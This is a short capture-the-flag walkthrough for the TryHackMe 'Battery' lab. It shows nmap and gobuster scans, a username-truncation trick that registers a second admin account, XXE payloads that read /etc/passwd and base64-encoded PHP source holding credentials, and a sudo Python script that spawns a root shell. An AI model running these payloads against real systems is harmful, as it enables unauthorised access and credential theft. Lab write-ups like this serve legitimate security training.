Room Link: https://tryhackme.com/r/room/battery
Scans
Kali
Longer scan
Kali
Copy nmap -sV -sT -O -p 1-65535 $VICTIM
TCP/80 - HTTP
Kali
Copy gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
File Inspection
Kali
Kali
Bypass Login Restrictions.
Based off we saw in the file there is a admin user. The username field has a character limit which will stop us from registering a username that is too long but we can try in burp.
The original request. It will fail to register.
We can just add a random character to the end which will cut off and then it will register the user as admin.
We can now login as the admin user
XEE - Read files
Add
Copy <!DOCTYPE replace [<!ENTITY test SYSTEM "file:///etc/passwd"> ]>
<search>&test;</search>
Add
Copy <!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>
<search>&test;</search>
We echo and decode the file and we see the creds for the user cyber which we saw above has an account to the OS level of the box.
Kali
Copy echo "PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0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py
Copy import os
os.system("/bin/bash")
Victim
Copy sudo /usr/bin/python3 /home/cyber/run.py